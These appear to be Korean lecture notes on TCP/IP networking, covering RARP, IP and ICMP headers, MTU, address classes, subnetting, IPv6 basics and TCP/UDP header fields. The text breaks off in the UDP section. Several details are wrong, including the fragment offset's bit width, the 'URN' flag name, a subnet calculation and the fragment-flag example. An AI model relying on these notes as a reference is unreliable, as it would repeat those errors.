20160615 네트워크이론
8
RARP(Reverse Address Resolution Protocol)
RARP는 근거리통신망 내에 물리적으로 존재하는 장치가 게이트웨이의 ARP 목록이나 캐시로부터 자신의 IP 주소를 알아내기 위한 확인 요청을 하는데 사용되는 프로토콜이다. 네트웍 관리자는 근거리통신망의 게이트웨이 라우터 내에 물리적인 장치가 그에 상응하는IP주소를 지칭하도록 목록표를 작성한다. 새로운 장치가 설정되었을 때, RARP 클라이언트 프로그램은 라우터 상의 RARP 서버에게 그 장치를 위한 IP 주소를 보내주도록 요청한다. RARP 서버는 라우터 목록 내에 새로운 엔트리가 설정되었다고 가정하여, 그 장치에게 IP주소를 답신해 주게 된다.
RARP는 이더넷, FDDI, 토큰링 등의 근거리통신망에서 사용할 수 있는 프로토콜이다.
MAC => IP
■ 대표적인 RARP 사용 클라이언트
• Diskless Client(Hardless Client)
[참고] PXE Boot(클라이언트) + DHCP(서버)
9
인터넷 계층(Internet Layer)
인터넷 계층의 중요한 기능은 네트워크 통신을 위해 데이터그램을 잘 전송할수 있도록 하기 위해 라우팅 정보를 담는것이다. 또한 MTU 단위로 데이터 그램을 쪼개거나 쪼개진 패킷을 재조합하는 기능을 가진다. 인터넷 계층의 프로토콜은 ARP, RARP, IP(IPv4,IPv6), ICMP, IGMP가 존재한다. 하지만 이 단원에서는 IP, ICMP에 관해서만 다룬다.
(1). IP 프로토콜(Internet Protocol)
인터넷상에서 라우팅을 효율적으로 하기 위하여 물리적인 네트웍 주소와 일치하는 개념으로 부여된 32 비트의 주소가 IP 주소이다. IP 주소를 이용하면 네트웍상의 유일한 호스트를 식별하는 것뿐만 아니라, 호스트가 있는 네트웍를 식별할 수 있다. IP 주소는 클래스로 나뉘어 있으며 하나의 네트웍에서 모든 호스트는 동일한 prefix를 공유한다.
다음은 ifconfig 명령어를 사용하여 IP를 확인하는 예이다. IP와 관련한 값인 넷마스크(Netmask)와 브로드캐스트(Broadcast)주소도 확인 할 수 있다.
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0C:29:05:B8:34
inet addr:192.168.20.200 Bcast:192.168.20.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:65025 errors:0 dropped:0 overruns:0 frame:0
TX packets:6822 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:77595227 (74.0 MiB) TX bytes:473577 (462.4 KiB)
Interrupt:67 Base address:0x2024
(2). ICMP(Internet Control Messages Protocol)
ICMP는 호스트 서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 에러를 알려주는 프로토콜로서 RFC 792에 정의되어있다. ICMP는 IP 데이터그램을 사용하지만, 메시지는 TCP/IP 소프트웨어에 의해 처리되며, 응용프로그램 사용자에게 직접 분명하게 보이지는 않는다. 일례로서, ping 명령어는 인터넷 접속을 테스트하기 위해 ICMP를 사용한다.
ICMP 프로토콜을 사용하는 대표적인 명령어는 다음과 같다.
● ping CMD(Packet INternet Groper)
● traceroute CMD
ICMP Message Type
● 오류보고 메시지(Error Reporting Messages)
Type 3 : 목적지 도달 불가
Type 4 : 발신지 억제
Type 5 : 경로 재지정
Type 11: 시간 초과
Type 12: 매개변수 문제
● 질의 메시지(Query Messages)
Type 8 : Echo Request
Type 0 : Echo Reply
Type 9 : Router 광고
Type 10: Router 요청
Type 13: Timestamp Request
Type 14: Timestamp Reply
Type 15: IP 정보 요구(구형)
Type 16: IP 정보 응답(구형)
Type 17: 주소마스크 요구
Type 18: 주소마스크 응답
(3) ICMP 헤더 분석
+-----------------+
+-------------------------+ | |
| ICMP | | ICMP/IGMP |
+----------+-----------+-------------+ | |
|IP Header | | | IP |
+----------+-----------+-------------+ | |
| ARP/RARP |
| |
+-----------------+
+--------+----------+-----------+-------------+--------+ | |
| Ether |IP Header | ICMP | CRC | |Network Interface|
| Header | | | | | |
+--------+----------+-----------+-------------+--------+ +-----------------+
[그림] ICMP Encapsulation in IP Datagram
+------------+------------+---------------------------------+
| Type | Code | Checksum |
+-----------------------------------------------------------+
| Type 별로 다른 부분 |
+-----------------------------------------------------------+
| 데이터 |
+-----------------------------------------------------------+
[그림] ICMP Header
1Bytes 1Bytes 2Bytes
|<---------->|<---------->|<------------------------------->|
+------------+------------+---------------------------------+
| Type=8 | Code=0 | Checksum |
+-----------------------------------------------------------+
| Identifier | Sequence Number |
+-----------------------------------------------------------+
| 데이터 |
+-----------------------------------------------------------+
[그림] ICMP Echo Request
1Bytes 1Bytes 2Bytes
|<---------->|<---------->|<------------------------------->|
+------------+------------+---------------------------------+
| Type=0 | Code=0 | Checksum |
+-----------------------------------------------------------+
| Identifier | Sequence Number |
+-----------------------------------------------------------+
| 데이터 |
+-----------------------------------------------------------+
[그림] ICMP Echo Reply
[실습] ICMP 패킷을 캡쳐하고 분석
[실습] visualroute(www.visualroute.com) 사용하기
[참고] ICMP(RFC 792)
- http://www.ietf.org/rfc/rfc0792.txt
(3). IP 헤더 분석
+-------------------------+ +-----------------+
| TCP Segment or Datagram | | TCP | UDP |
+-------------------------+ | | |
+-----------------+
| |
| ICMP/IGMP |
+----------+-------------------------+ | |
|IP Header | TCP Segment or Datagram | | IP |
+----------+-------------------------+ | |
| ARP/RARP |
| |
+-----------------+
+--------+----------+-------------------------+--------+ | |
| Ether |IP Header | TCP Segment or Datagram | CRC | |Network Interface|
| Header | | | | | |
+--------+----------+-------------------------+--------+ +-----------------+
[그림] IP Encapsulation in Ethernet II Frame
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[그림] IP Datagram Header
[실습] IP 헤더 분석을 캡쳐하고 분석
-> ICMP Echo Request 패킷을 가지고 작업한다.
[참고] IP Header 해석
■ Version(4 bits)
● IPv4 -> 4, IPv6 -> 6
● IANA 버전 관리 - Version Numbers
■ IP Header Length(4 bits)
● IP 헤더의 길이는 20 bytes ~ 60bytes 이다.
■ Type Of Service(8 bits)
● IP Datagram이 라우터에서 어떻게 처리되어야 하는지를 정의
● 요구되는 서비스 품질을 나타냄, 현재 대부분의 시스템에서는 이 필드를 무시.
● OSPF는 이 값을 바탕으로 경로 선택이 가능하게 함.
(예) TOS(Type Of Service) 예
-------------------------------------------------
IP: ...0 .... = normal delay
IP: .... 0... = normal throughput
IP: .... .0.. = normal reliability
IP: .... ..0. = not ECN capable transport
-------------------------------------------------
------------------------------------------------
Priability - Current, Not used
Delay - 1 : Minimum delay (최소 지연)
Throughput - 1 : Maximum throughput (최대 처리율)
Reliablity - 1 : Maximum reliablity (최대 신뢰성)
Transport - 1 : Mimimum cost (최소 비용)
congestion experienced - Current, Not used
------------------------------------------------
● (예) TOS(Type Of Service) 필드 권장
--------------------------------------------------------------------------------
Application Min Delay Max Throughput Max Reliablity Max Cost
--------------------------------------------------------------------------------
telnet/rlogin 1 0 0 0
--------------------------------------------------------------------------------
FTP Control 1 0 0 0
Data 0 1 0 0
Big Data 0 1 0 0
--------------------------------------------------------------------------------
TFTP 1 0 0 0
--------------------------------------------------------------------------------
SMTP Command Phase 1 0 0 0
Data Phase 0 1 0 0
--------------------------------------------------------------------------------
DNS UDP lookup 1 0 0 0
TCP lookup 0 0 0 0
Zone Transmission 0 1 0 0
--------------------------------------------------------------------------------
ICMP Error 0 0 0 0
Searching 0 0 0 0
--------------------------------------------------------------------------------
SNMP 0 0 1 0
BOOTP 0 0 0 0
NNTP 0 0 0 1
--------------------------------------------------------------------------------
■ 전체길이(Total Length, 16 bits)
● IP 헤더와 IP 데이터를 포함한 패킷의 전체 길이(예: 84bytes)
● 최대값은 65,535(2^16 -1)
■ 분할 식별자(Fragement Identification, 16 bits)
● 데이터그램의 분할과 재조립을 위해서 사용된다.
● 각 조각이 동일한 데이터그램에 속하며 같은 일련번호를 공유한다.
■ 분할 플래그(Fragmentation Flag, 3 bits)
● 분할 여부를 식별할 때 사용한다.
● 3비트 필드 중 - 첫 비트는 사용하지 않고, 따라서 항상 0- 두번째 비트가 1이면 분할 불가능, 0이면 분할 가능을 나타낸다. 1로 세팅되면 목적지 컴퓨터가 조각들을 다시 모을 능력이 없기 때문에 라우터로 하여금 데이터그램을 단편화하지 말라는 뜻이고 0으로 세팅되면 라우터에서 분열(조각,단편)이 가능함을 뜻한다.- 세번째 비트가 1이면 마지막 조각이 아니고 0이면 마지막 조각임을 나타냄. 현재 조각이 마지막이면 0이고, 더 많은 조각이 뒤에 계속 있으면 1이다.
■ 분할 옵션(Fregmentation Offset, 3 bits)
● 조각나기 전 원래의 데이터그램의 8 바이트 단위의 위치이다.
● 최초 분열 조각으로부터 어떤 곳에 붙여야 하는 위치를 나타낸다.
● 분할 데이터그램 중 데이터그램의 시작 번호를 명시한다.
(예) 4000Bytes 데이터를 MSS 값이 1480Bytes인 데이터그램의 분할.
----------------------------------------
Identification = 24058
IP: Flags = 0x4
IP: .1.. .... = do not fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
----------------------------------------
---------------------
0 ID : 1111
Flag : X01 (분할가능,마지막조각아님)
1479 Frag. Offset: 0
---------------------
1480 ID : 1111
Flag : X01 (분할가능,마지막조각아님)
2959 Frag. Offset: 1480
----------------------
2960 ID : 1111
Flag : X10 (분할불가능,마지막조각)
3999 Frag. Offset: 2960
----------------------
[그림] 4000 bytes 패킷 분할
■ TTL(Time to Live, 8 bits)
● IP Datagram이 네트워크상에서 살아 있을 수 있는 시간을 정의하는 필드이다.
● 라인상에 체류할 수 있는 시간을 홉카운트(Hop Count)로 나타내는 필드이다.
● 라우터를 지날 때마다 1씩 감소하고 0이면 폐기한다.
■ 프로토콜(Protocol Identifier, 8 bits)
● IP 상위 계층의 프로토콜 식별자
● IANA 프로토콜 번호 관리(프로토콜 번호: 프로토콜 종류)
00: Reserved, 01: ICMP, 02: IGMP, 04: IPv4(IP-in-IP Encapsulation),
06: TCP, 08: EGP, 17: UDP,
50: ESP(Encapsulatiing Security Payload) Extension Header
88: EIGRP, 89: OSPFIGP, 179: BGP
■ 검사합(Checksum, 16 bits)
● 헤더에 대한 오류 검출
● 에러확인을 위한 16비트 필드
■ 출발지 IP 주소(Source IP Address, 32 bits)
■ 목적지 IP 주소(Destination IP Address, 32 bits)
■ IP 헤더 옵션(선택 옵션)
● 가변 길이 bits
● IANA IP OPTIONS NUMBERS
■ 패딩(Padding)
● 가변 길이 bits
● 필요한 경우에만 사용
● 옵션을 사용하다 보면 헤더가 32비트의 정수배로 되지 않는 경우가 있다.
● 이런 경우 자리 우기(Padding)을 통해 정수 배로 설정한다.
[참고] MTU(Maximum Transfer Unit, 최대전송단위)
■ 최대 전송 단위(MTU)
어떤 데이터링크 또는 네트워크에서 하나의 프레임 또는 패킷에 담아 운반할 수 있는 최대 크기(size)
-----------------------------------------
캡슐종류 MTU(bytes)
-----------------------------------------
Hyperchannel 65,535
Loopback 16436 (운영체제에 따라 조금씩 상이하다.)
IEEE 802.3 Ethernet 1492
DIX Ethernet 1,500
Token Ring(16M) 17,914
Token Ring(4M) 4,464
802.4 Token Bus 8166
FDDI 4,352
IPoA 9180
SMDS 9,180
X.25 및 ISDN 576
PPP 1500 (다른 MTU 지정도 가능 (EX)296)
ATM 63
-----------------------------------------
(Linux) CentOS 5.10
# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:D1:CC:21
inet addr:192.168.20.200 Bcast:192.168.20.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2761 errors:0 dropped:0 overruns:0 frame:0
TX packets:618 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:253435 (247.4 KiB) TX bytes:51184 (49.9 KiB)
Interrupt:67 Base address:0x2024
(정리) IPv4
IPv4 : XXX.XXX.XXX.XXX (32bits 주소, 10진수, 4 octet)
172.16 .9 .200
■ 클래스별(Class) IP 대역
A Class : 1 ~ 127 (예) 10.10.10.21
B Class : 128 ~ 191 (예) 191.32.80.120
C Class : 192 ~ 223 (예) 203.211.5.3
D Class : 224 ~ 239 (예) 224.0.1.9
E Class : 240 ~ 254
[참고] 8bits (0-255)
128 64 32 16 8 4 2 1
1 0 0 0 0 0 0 0 : 128 (256 - 128 = 128)
1 1 0 0 0 0 0 0 : 192 (256 - 192 = 64)
1 1 1 0 0 0 0 0 : 224 (256 - 224 = 32)
1 1 1 1 0 0 0 0 : 240 (256 - 240 = 16)
1 1 1 1 1 0 0 0 : 248 (256 - 248 = 8)
1 1 1 1 1 1 0 0 : 252 (256 - 252 = 4)
■ 사설 IP(Private Address)
A Class : 10.X.X.X
B Class : 172.16.X.X ~ 172.31.X.X
C Class : 192.168.X.X
-> 반드시 "192.168.X.X"만 사용해야 하는가?
(예) 회사에 사설 아이피를 사용해서 10대의 컴퓨터를 가지고 사설 네트워크를 구축
-> 회사 네트워크 구축시 물리는 클라이언트의 수는 어떻게 되는가?
■ Network Number / Broadcast Addr. / Netmask
- Network Number 지정된 네트워크에 첫번째 IP(EX: 172.16.0.0)
- Broadcast Address 지정된 네트워크에 마지막 IP(EX: 172.16.255.255)
- Netmask 네트워크를 구분하는 인자값 (EX: 255.255.0.0)
■ 참고 URL
(중요) IANA: http://www.iana.org/numbers/
-> IP Address Allocations 관련한 많은 문서 확인
Address(s)
Description
References
Date Registered
Last Reviewed
224.0.0.0
Base Address (Reserved)
[RFC1112][Jon_Postel]
224.0.0.1
All Systems on this Subnet
[RFC1112][Jon_Postel]
224.0.0.2
All Routers on this Subnet
[Jon_Postel]
224.0.1.1
NTP Network Time Protocol
[RFC1119][RFC5905][David_Mills]
(EX) # ping 224.0.0.1
# ping 224.0.0.2
(4). 서브넷팅과 VLSM(Introducing Sunbnetting and VLSM)
- VLSM(Variable Length Subnet Mask, 가변 길이 서브넷 마스크)
■ Netmask -> Subnetmask -> VLSM
■ 넷마스크의 의미(Netmask Means)?
기본 넷마스크(Default Netmask)
▪ A Class: 255.0.0.0
▪ B Class: 255.255.0.0
▪ C Class: 255.255.255.0
-> 172.16.0.0/255.255.0.0 (ISP(Internet Service Provider) 제공)
===== INTERNET ====== ==== ROUTER ====
Source/Dest 172.16.0.0/
XXXX/172.16.9.200 255.255.0.0 Network ID : 172.16.0.0
---------+------------------+---------
| |
| |
===================== ================ HOSTA HOSTB
172.16.0.0/ 172.16.0.0/
255.255.0.0 255.255.0.0
172.16 .9.200 # ifconfig eth0 172.16.9.200 netmask 255.255.255.0
AND 255.255.0.0
-----------------------
172.16 .0.0
EX) Bits AND Operation
A B | S 110100 110100
-----+---- AND 000000 AND 111111
0 0 | 0 ------------- ------------
0 1 | 0 000000 110100
1 0 | 0
1 1 | 1
(4-1). 서브넷팅(Subnetting)
(용어 정리)
---------------------------------------------
Supernet <- Network -> Subnetwork
Supernetting Subnetting
Netmask Subnetmask
---------------------------------------------
(EX: CIDR) (EX: VLSM)
■ Subnetting 하는 이유
- 관리(성능, 부서별, 지역적 위치, 프로토콜별 등)
- 보안상(서버대역-사용자대역 분리, 접근 제어 등)
You can divide a network into subnetworks to:
■ Isolate network traffic within local subnets, therefore reducing
contention for network bandwidth
(예: 100Mbps 대역폭의 네트워크 -> Collision Rate : 10% 이상)
■ Secure or limit access to a subnet
(예: 회사 중역 대역 <-> 사원 대역, 서버 대역 <-> 사용자 대역)
■ Enable localization of specific network protocols to a subnet
(예: TCP/IP 대역 <-> DNS 대역, Ethernet <-> FDDI 대역)
■ Allow the association of subnet with a specific geography or a department
(예: 서울본사 <-> 대전지사,부산지사, 영업부서대역 <-> 개발부서대역)
■ Allow administrative work to be broken into logical units
(예: VLAN)
■ 서브넷마스크(Subnetmask)
if C class,
- Subnet 2 : 255.255.255.128 (256 - 128 = 128)
- Subnet 4 : 255.255.255.192 (256 - 192 = 64 )
- Subnet 8 : 255.255.255.224 (256 - 224 = 32 )
- Subnet 16: 255.255.255.240 (256 - 224 = 16 )
- Subnet 32: 255.255.255.248 (256 - 248 = 8 )
- Subnet 64: 255.255.255.252 (256 - 252 = 4 )
예) 203.247.50.0/255.255.255.0 네트워크 대역 할당 받음.
203.247.50. XXXXXXXX
===================================================
Network Number | Host Number |
===================================================
===================================================
Network Number | Subnet Number | Host Number |
===================================================
EX) C Class (203.247.50.0/255.255.255.0) => 2 Subnet
1. 203.274.50.XXXXXXXX
2. 203.247.50.0XXXXXXX
203.247.50.1XXXXXXX
Subnetmask : Network ID(-> 1 처리), Host ID(-> 0 처리)
3. 255.255.255.128 ====> 203.247.50.0/255.255.255.128, 203.247.50.128/255.255.255.128
EX) C Class (203.247.50.0/255.255.255.0) => 4 Subnet
1. 203.247.50.XXXXXXXX
2. 203.247.50.00XXXXXX
203.247.50.01XXXXXX
203.247.50.10XXXXXX
203.247.50.11XXXXXX
3. 255.255.255.192
203.247.50.XXX
========== ========== ==========
0 0 0
-> 203.247.50.0 / 255.255.255.192
63
==========
64
-> 203.247.50.64 / 255.255.255.192
127 127
========== ==========
128 128
-> 203.247.50.128 / 255.255.255.192
191
==========
192
-> 203.247.50.192 / 255.255.255.192
255 255 255
========== ========== ==========
203.247.50.65/255.255.255.192
= 203.247.50.65/26
172.16.10.200/255.255.255.0
= 172.16.10.200/24
[실습] Netmask를 설정/변경하기
- linux200, win2008 서버에서 실습
[참고] IPv6에 대해서
● IPv6 주소 체계
● IPv6 동작 원리
(c). Aggregatable Global Unicast Address Types
3 bits 13 bits 32 bits 16 bits 64 bits
+-----+----------+--------------+-----------+--------------------------------+
| 001 | TLA | NLA | SLA | Interface ID |
+-----+----------+--------------+-----------+--------------------------------+
예) 한국 KT DAUM
prefix The assigned prefix for aggregatable global addresses(001).
TLA The identifying number of the Internet authority
(Top-Level Aggregator) that assigned the provider portion of the address,
for example, Internet Assigned Numbers Authority (IANA).
NLA
(Next Level Aggregator) The address identifier that is assigned to a company or
organization by its ISP(Internet Service Provider).
SLA The subnet address assigned to networks in the company or
(Site-Level Aggregator) organization.
Interface ID The portion of the IP address that derives from the
MAC address, that is, the EUI-64 address.
■ IPv6 동작 원리
IP Autoconfiguration
- Statefull autoconfiguration(EX: DHCPv6)
- Stateless autoconfiguration
■ IP 자동 설정 과정(IP Autoconfiguration(Stateless Autoconfiguration))
■ 라우터에서 Prefix 변경(Router Prefix Modification)
■ IP 중첩 점검(IP Duplecated Address Detection)
http://blog.naver.com/nackji80/220544295258
http://james_parku.blog.me/220174254677
10
전송계층(Transport Layer)
■ TCP / UDP의 특징
■ Header 분석
- TCP Header 분석
- UDP Header 분석
■ 포트 번호 체계
■ 대표적인 서비스 패킷 분석
- telnet packet 분석
- ftp packet 분석
- nslookup packet 분석
(1). 전송계층 프로토콜의 특징(Protocol Characteristic)
■ TCP(Transmission Control Protocal)
■ UDP(User Datagram Protocol)
(1-1). TCP(Transmission Control Protocal)
TCP[티씨피]는 인터넷상의 컴퓨터들 사이에서 데이터를 메시지의 형태로 보내기 위해 IP와 함께 사용되는 프로토콜이다. IP가 실제로 데이터의 배달처리를 관장하는 동안, TCP는 데이터 패킷을 추적 관리한다 (메시지는 인터넷 내에서 효율적인 라우팅을 하기 위해 여러개의 작은 조각으로 나뉘어지는데, 이것을 패킷이라고 부른다).
예를 들면, HTML 파일이 웹 서버로부터 사용자에게 보내질 때, 서버 내에 있는 TCP 프로그램 계층은 파일을 여러 개의 패킷들로 나누고, 패킷 번호를 붙인 다음, IP 프로그램 계층으로 보낸다. 각 패킷이 동일한 수신지 주소(IP주소)를 가지고 있더라도, 패킷들은 네트웍의 서로 다른 경로를 통해 전송될 수 있다. 다른 한쪽 편(사용자 컴퓨터 내의 클라이언트프로그램)에 있는 TCP는, 각 패킷들을 재조립하고, 사용자에게 하나의 완전한 파일로 보낼수 있을 때까지 기다린다.
TCP는 연결지향 프로토콜이라고 알려져 있는데, 이것은 메시지들이 각단의 응용 프로그램들에 의해 교환되는 시간동안 연결이 확립되고 유지되는 것을 의미한다. TCP는 IP가 처리할 수 있도록 메시지를 여러 개의 패킷들로 확실히 나누고, 반대편에서는 완전한 메시지로패킷들을 재조립할 책임이 있다. OSI 통신모델에서, TCP는 4계층인 트랜스포트 계층에 속한다.
TCP 프로토콜의 특징
● 연결형 기반 서비스(Connection Oriented Protocol)
● 상태 기반 서비스(Statefull Protocol)
● 신뢰 기반 서비스(Reliable Protocol)
(예) TCP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
# cat /etc/services | grep -i tcp
# nmap localhost
# netstat -an | more
● 대표적인 TCP 기반 서비스: - telnet- FTP(File Transfer Protocol)- HTTP(Hypertext Transfer Protocol)- ssh- SMTP(Simple Mail Transfer Protocol)- NFSv4(Network File System Version 4)- 기타
(1-2). UDP(User Datagram Protocol)
UDP[유디피]는 IP를 사용하는 네트웍 내에서 컴퓨터들 간에 메시지들이 교환될 때 제한된 서비스만을 제공하는 통신 프로토콜이다. UDP는 TCP의 대안이며, IP와 함께 쓰일 때에는 UDP/IP라고 표현하기도 한다. TCP와 마찬가지로 UDP도 한 컴퓨터에서 다른 컴퓨터로 데이터그램이라고 불리는 실제 데이터 단위를 받기 위해 IP를 사용한다. 그러나 UDP는 TCP와는 달리, 메시지를 패킷(데이터그램)으로 나누고, 반대편에서 재조립하는 등의 서비스는 제공하지 않으며, 특히 도착하는 데이터 패킷들의 순서를 제공하지 않는다. 이 말은 UDP를 사용하는 응용프로그램은, 전체 메시지가 올바른 순서로 도착했는지에 대해 확인할 수 있어야한다는 것을 의미한다. 교환해야할 데이터가 매우 적은(그러므로 재조립해야할 메시지도 매우 적은) 네트웍 응용프로그램들은 처리시간 단축을 위해 TCP 보다 UDP를 더 좋아할 수 있다. 일례로 TFTP는 TCP 대신에 UDP를 사용한다.
UDP는 IP 계층에서 제공되지 않는 두 개의 서비스를 제공하는데, 하나는 다른 사용자 요청을 구분하기 위한 포트 번호와, 도착한 데이터의 손상여부를 확인하기 위한 체크섬 기능이다.
OSI 통신 모델에서, UDP는 TCP와 마찬가지로 4계층인 트랜스포트 계층에 속한다.
UDP 프로토콜의 특징
● 비연결형 서비스(Connectionless Protocol)
● 비상태 서비스(Stateless Protocol)
● 비신뢰 서비스(Unreliable Protocol)
(예) UDP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
# cat /etc/services | grep -i udp
# nmap localhost # netstat -an | more
● 대표적인 UDP 서비스: - DNS(Domain Name System) query- SNMP(Sime Netowrk Management Protocol) data- NTP(Network Time Protocol) data- TFTP(Trivial FTP)- DHCP(Dynamic Host Configuration Protocol)- NFS(Network File System) - NFSv2, NFSv3- RIP(Routing Information Protocol)- 기타
(2). TCP 헤더 분석
+--------------+ +-----------------+
| Message | | FTP, telnet, ...|
+--------------+ | |
+----------+--------------+ +--------+--------+
|TCP Header| Message | | TCP | UDP |
+----------+--------------+ | | |
+--------+--------+
| |
| ICMP/IGMP |
+----------+-------------------------+ | |
|IP Header |TCP Header| Message | | IP |
+----------+-------------------------+ | |
| ARP/RARP |
| |
+-----------------+
+--------+----------+----------+--------------+--------+ | |
| Ether |IP Header |TCP Header| Message | CRC | |Network Interface|
| Header | | | | | | |
+--------+----------+----------+--------------+--------+ +-----------------+
[그림] TCP Encapsulation in IP Datagram
[실습] TCP 패킷을 캡쳐하고 TCP 헤더를 분석
- telnet 과정 중 첫번째 패킷을 가지고 TCP 헤더를 분석한다.
- win2008(telnet CMD) --> linux200(telnetd(23))
Display Filter : ip.addr == 192.168.20.200
[참고] TCP 헤더 분석
- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)
■ 발신지 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호
■ 목적지 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호
■ 순차 번호(Sequence Number)
● TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호.
● 신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착.
● 32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음
● 초기 순차번호(ISN, Initial Sequence Number)- TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성- TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨.
■ 응답 확인 번호(Acknowledgement number, 32 bits)
● 수신한 세그먼트의 확인 응답을 위한 32bits 필드
● 세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값.- 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1)
■ 헤더 길이(Header Length, 4 bits)
● TCP 헤더 길이를 나타내는 4bits 필드.
● 4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하
● 헤더의 길이가 20-60 이므로 5-12 사이의 값.
■ TCP 제어 플래그(TCP Control Flag, 6 bits)
● 각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성.
● URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림.- 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐
● ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨.- 1로 세팅되면, 확인번호 유효함을 뜻함- 0로 세팅되면, 확인번호 미포함(즉, 32비트 크기의 확인응답번호 필드 무시됨)- SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨.
● PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시.- 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달.- 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함.
● RST : Reset 플래그, 비정상적인 종료를 위한 플래그.- 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청.
● SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그.- TCP 연결 설정 초기화를 위한 순서번호의 동기화 연결요청: SYN=1, ACK=0 연결허락: SYN=1, ACK=1 연결설정: ACK=1
● FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그- 송신기가 데이터 보내기를 끝마침 종결요청: FIN=1 종결응답: FIN=1, ACK=1
■ 윈도우 크기(Window size, 16 bits)
● 응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함.
● 윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임.
● 흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함.
● 수신측에 의해 능동적으로 흐름제어를 수행하게 됨.
■ 검사합(Checksum, 16 bits)
● 각 TCP 세그먼트 변형 여부 확인
● IP와 달리 전체 세그먼트의 변형 여부를 나타낸다.
● 실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함. 체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩)
가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이 실제 헤더: 실제 TCP/UDP 헤더
■ 긴급포인터(Urgent Pointer, 16 bits)
● 세그먼트가 긴급 데이터를 포함하고 있을 때.
● 제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음.
● TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호.- 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset).- 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음.
■ 옵션(Options)
● 최대 40바이트까지 옵션 데이터 포함 가능.
● TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등
(4) UDP 헤더 분석(UDP Header Analysis)
+--------------+ +-----------------+
| Message | | DNS, NTP .... |
+--------------+ | |
+----------+--------------+ +--------+--------+
|UDP Header| Message | | TCP | UDP |
+----------+--------------+ | | |
+--------+--------+
| |
| ICMP/IGMP |
+----------+-------------------------+ | |
|IP Header |UDP Header| Message | | IP |
+----------+-------------------------+ | |
| ARP/RARP |
| |
+-----------------+
+--------+----------+----------+--------------+--------+ | |
| Ether |IP Header |UDP Header| Message | CRC | |Network Interface|
| Header | | | | | | |
